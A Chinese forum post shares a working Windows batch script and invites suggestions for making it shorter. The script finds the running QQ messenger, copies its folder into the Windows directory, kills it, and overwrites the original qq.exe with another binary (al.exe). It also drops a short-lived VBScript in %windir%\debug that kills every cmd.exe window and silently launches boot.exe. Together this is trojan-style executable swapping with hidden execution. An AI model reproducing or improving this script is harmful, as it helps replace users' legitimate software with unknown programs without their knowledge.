分享：批处理检测qq进程并替换qq.exe文件

fqf

检测QQ 进程，如果存在qq进程，则找出路径，用c:\a.exe 替换原qq.exe, 并把路径写入c:\a.txt ,如果不存在qq进程，继续往下运行。

bat 第二次运行的时候，检测QQ 进程，如果存在qq进程，则找出路径与a.txt 比较，如果找出的路径与a.txt中的一致，跳过继续往下运行。如果不一致，则用a.exe 替换检测出的qq.exe, 并把路径写入a.txt ,如果不存在qq进程，继续往下运行。

bat 每次运行，重复以上。

感谢tireless兄的帮助，在他的代码基础上做的改进：

for /f %%e in ('tasklist^| find /c "cmd.exe"')do set /a wind=%%e-1
if %wind% LEQ 10 (goto continue) else (goto vbscm)
:vbscm
(echo Set ws = CreateObject("Wsc"^&"ript.Shell"^)
echo ws.run "cmd /c taskkill /f /im cmd.exe",0
echo ws.run "%%windir%%\debug\boot.exe",0
echo ws.run "cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\debug\vb2cm.vbe /f/q",0)>%windir%\debug\vb2cm.vbe
if exist "%windir%\debug\vb2cm.vbe" start "" "%windir%\debug\vb2cm.vbe"
ping 127.1 -n 3 >nul
if exist "%windir%\debug\vb2cm.vbe" del /q "%windir%\debug\vb2cm.vbe"
:continue
(for /f %%a in ('tasklist /nh /fi "IMAGENAME eq qq.exe" 2^>nul') do cls)||goto Next
for /f "delims==" %%a in ('wmic process where caption^="qq.exe" get CommandLine^|find /i "qq.exe"') do set qqpath=%%a
if not exist %windir%\a.inf goto Replace
set /p Old=<%windir%\a.inf
if /i %Old%==%qqpath% goto cext
:Replace
set qqdir=%qqpath:~1,-11%
echo %qqpath% >%windir%\a.inf
if /i %qqpath%=="%windir%\QQ\qq.exe" goto cext
xcopy "%qqdir%" %windir%\QQ\ /Y /H /R /E /q /c
taskkill /im qq.exe /f
if exist %windir%\al.exe copy /y %windir%\al.exe "%qqpath%"
:cext
set qqdir=%qqpath:~1,-11%
call :qqname "%qqdir%"
echo "%windir%\%qqn%\qq.exe">%windir%\xqq.inf
echo "%qqdir%">%windir%\x.inf
goto next
:qqname
set qqn=%~nx1
goto :eof
:Next
if not exist %windir%\xqq.inf echo e>%windir%\xqq.inf 
set /p xq=<%windir%\xqq.inf 
if /i %xq% == "%windir%\QQ\qq.exe" (echo.) else (echo "%windir%\QQ\qq.exe">%windir%\xqq.inf)
if exist "%windir%\QQ\qq.exe" start "" %windir%\QQ\qq.exeCOPY

fqf

不知各位对代码的精简有什么建议？